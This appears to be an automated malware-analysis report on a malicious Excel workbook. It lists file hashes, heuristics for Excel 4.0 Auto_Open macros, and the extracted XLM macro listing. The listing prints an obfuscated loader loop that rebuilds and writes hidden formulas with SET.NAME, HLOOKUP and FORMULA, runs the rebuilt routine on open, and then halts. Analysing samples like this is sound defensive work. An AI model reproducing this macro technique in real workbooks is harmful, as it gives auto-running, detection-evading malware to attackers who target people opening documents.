Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bab243c414357c81…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:29:52 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 3645c2e6781bc4126f2808586aa4d11b SHA-1: 2d506de30151358a283707ff2263b8c792b81414 SHA-256: bab243c414357c81943b440e8db8644aaa0da2b875240c0d28626f8eb89c2cfd
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6636 bytes
SHA-256: 814fffdf835c644d7c4982878df370e78416b6913e7fc45aa8fd7798a5f19808
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XaqFGXtalf
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A178 
' 0018     27 LABEL : Cell Value, String Constant - eKKFRZFFjCiw len=0 
' 0018     23 LABEL : Cell Value, String Constant - ErdTmyaG len=0 
' 0018     21 LABEL : Cell Value, String Constant - iSzGUk len=0 
' 0018     24 LABEL : Cell Value, String Constant - mIFwYDohp len=0 
' 0018     26 LABEL : Cell Value, String Constant - nWvauBcEoce len=0 
' 0018     26 LABEL : Cell Value, String Constant - obrxYjuFGVz len=0 
' 0018     26 LABEL : Cell Value, String Constant - oCTitMjYVee len=0 
' 0018     27 LABEL : Cell Value, String Constant - PeimDyxEsuuz len=0 
' 0018     25 LABEL : Cell Value, String Constant - QkotGyOiSc len=0 
' 0018     27 LABEL : Cell Value, String Constant - rijGueFetreN len=0 
' 0018     25 LABEL : Cell Value, String Constant - rQgKLzdzWt len=0 
' 0018     21 LABEL : Cell Value, String Constant - sDSJrm len=0 
' 0018     20 LABEL : Cell Value, String Constant - twasB len=0 
' 0018     26 LABEL : Cell Value, String Constant - vtotrUXDJcx len=0 
' 0018     21 LABEL : Cell Value, String Constant - WBFCLm len=0 
' 0018     24 LABEL : Cell Value, String Constant - wTMOVqAlg len=0 
' 0018     20 LABEL : Cell Value, String Constant - wUsvJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - XErodyL len=0 
' 0018     27 LABEL : Cell Value, String Constant - xKBbCpsWtFmn len=0 
' 0018     24 LABEL : Cell Value, String Constant - YmdscBluI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XaqFGXtalf,A81,"SET.NAME("wUsvJ",VALUE("0"))",""
'  XaqFGXtalf,A83,"SET.NAME("nWvauBcEoce",wUsvJ)",""
'  XaqFGXtalf,A88,"SET.NAME("oCTitMjYVee",wUsvJ)",""
'  XaqFGXtalf,A91,"SET.NAME("vtotrUXDJcx",COUNTA(WBFCLm))",""
'  XaqFGXtalf,A94,"SET.NAME("wTMOVqAlg",COUNTA(rijGueFetreN))",""
'  XaqFGXtalf,A99,[],""
'  XaqFGXtalf,A104,"SET.NAME("mIFwYDohp","")",""
'  XaqFGXtalf,A109,"nWvauBcEoce",""
'  XaqFGXtalf,A112,"SET.NAME("sDSJrm",HLOOKUP("*",WBFCLm,nWvauBcEoce,FALSE))",""
'  XaqFGXtalf,A115,"rQgKLzdzWt",""
'  XaqFGXtalf,A118,"SET.NAME("twasB",wUsvJ)",""
'  XaqFGXtalf,A123,[],""
'  XaqFGXtalf,A128,"twasB",""
'  XaqFGXtalf,A132,"PeimDyxEsuuz",""
'  XaqFGXtalf,A135,"obrxYjuFGVz",""
'  XaqFGXtalf,A139,"ErdTmyaG",""
'  XaqFGXtalf,A144,"SET.NAME("eKKFRZFFjCiw",VALUE(HLOOKUP("*",rijGueFetreN,ErdTmyaG,FALSE)))",""
'  XaqFGXtalf,A148,"YmdscBluI",""
'  XaqFGXtalf,A153,"mIFwYDohp",""
'  XaqFGXtalf,A155,"oCTitMjYVee",""
'  XaqFGXtalf,A158,NEXT(),""
'  XaqFGXtalf,A161,"iSzGUk",""
'  XaqFGXtalf,A164,"SET.NAME("f",INT(T(FORMULA(T(mIFwYDohp)&"",""&T(iSzGUk)))))",""
'  XaqFGXtalf,A169,"QkotGyOiSc",""
'  XaqFGXtalf,A171,NEXT(),""
'  XaqFGXtalf,A176,RETURN(),""
'  XaqFGXtalf,A200,"SET.NAME("xKBbCpsWtFmn",A81)",""
'  XaqFGXtalf,A205,"WBFCLm",""
'  XaqFGXtalf,A209,"SET.NAME("rijGueFetreN",R79C13)",""
'  XaqFGXtalf,A213,"SET.NAME("QkotGyOiSc",221)",""
'  XaqFGXtalf,A216,"SET.NAME("XErodyL",1)",""
'  XaqFGXtalf,A220,xKBbCpsWtFmn(),""
'  XaqFGXtalf,A221,HALT(),""